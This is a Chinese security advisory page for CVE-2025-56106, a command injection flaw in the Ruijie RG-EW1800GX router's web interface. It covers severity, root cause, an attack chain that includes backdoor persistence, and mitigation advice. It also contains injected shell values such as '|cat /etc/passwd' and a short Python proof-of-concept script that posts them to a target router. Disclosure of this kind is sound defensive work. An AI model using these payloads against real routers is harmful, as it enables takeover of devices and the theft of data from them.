IPBUF安全漏洞报告
English
CVE-2025-56106 CVSS 8.8 高危

CVE-2025-56106: 锐捷RG-EW1800GX路由器OS命令注入漏洞

披露日期: 2025-12-11

漏洞信息

漏洞编号
CVE-2025-56106
漏洞类型
OS命令注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Ruijie RG-EW1800GX (固件版本B11P226_EW1800GX_10223121)

相关标签

OS命令注入远程代码执行路由器漏洞锐捷网络CVE-2025-56106高危漏洞Web安全IoT安全CWE-78

漏洞概述

CVE-2025-56106是锐捷网络(Ruijie Networks)生产的RG-EW1800GX路由器中存在的一个高危操作系统命令注入漏洞。该漏洞存在于设备的Web管理界面中,具体位于/usr/local/lua/dev_sta/nbr_cwmp.lua文件中的module_set接口。攻击者可以通过构造恶意的POST请求,在未经充分验证的情况下将用户输入拼接到系统命令中执行。由于该漏洞的攻击复杂度较低且不需要高级权限,攻击者可以在低权限条件下实现远程代码执行,成功利用后可完全控制受影响设备。CVSS 3.1评分达到8.8分,属于高危漏洞。此类漏洞可能被用于构建僵尸网络、进行中间人攻击、数据窃取或作为进一步渗透的跳板,对网络基础设施安全构成严重威胁。

技术细节

该漏洞的根本原因在于应用程序对用户输入的过滤和验证不足。在nbr_cwmp.lua文件的module_set接口处理逻辑中,程序直接将HTTP POST请求中的参数值传递给系统shell执行,而没有进行充分的输入清理和参数化查询。攻击者可以在POST请求的特定参数中注入分号、管道符、反引号等shell元字符,构造如';whoami;'或'|cat /etc/passwd'之类的恶意payload。由于该接口可能存在于路由器管理面板中,而管理面板可能暴露在WAN侧或通过其他途径可访问,攻击者能够远程利用此漏洞。成功利用后,攻击者可以以root权限在设备上执行任意命令,获得完全控制权。此漏洞属于经典的OS命令注入(CWE-78)类型,与常见的Web应用命令注入漏洞具有相同的攻击模式和防御方法。

攻击链分析

STEP 1
步骤1
信息收集:识别目标设备为锐捷RG-EW1800GX路由器,获取其IP地址和管理界面入口
STEP 2
步骤2
构造恶意请求:构造包含shell命令注入payload的POST请求,目标为/module_set接口
STEP 3
步骤3
发送攻击载荷:通过HTTP POST请求发送精心构造的参数,利用分号或管道符注入任意系统命令
STEP 4
步骤4
命令执行:目标设备将注入的命令传递给系统shell执行,以root权限运行
STEP 5
步骤5
持久化控制:可通过写入后门、添加管理员账户等方式建立持久化访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-56106 PoC - Ruijie RG-EW1800GX OS Command Injection # Target: Ruijie RG-EW1800GX Router (firmware B11P226_EW1800GX_10223121) # Vulnerability: OS Command Injection in /usr/local/lua/dev_sta/nbr_cwmp.lua module_set endpoint target_ip = input("Enter target IP: ") target_url = f"http://{target_ip}/cgi-bin/luci/;stok=/module_set" # Construct malicious payload to execute arbitrary command # Using semicolon to chain commands or pipe to execute additional commands payload = { 'module': 'cwmp', 'action': 'set', 'param_name': 'test; cat /etc/passwd', # Command injection point 'param_value': 'test_value' } try: print(f"[*] Sending exploit to {target_url}") response = requests.post(target_url, data=payload, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}")

影响范围

Ruijie RG-EW1800GX 固件版本 B11P226_EW1800GX_10223121

防御指南

临时缓解措施
建议在网络层面限制对锐捷RG-EW1800GX设备管理接口的直接访问,将管理面板置于内网并通过VPN访问;如无必要,关闭设备的远程管理功能或限制可访问IP范围;同时等待厂商发布官方补丁并进行固件升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表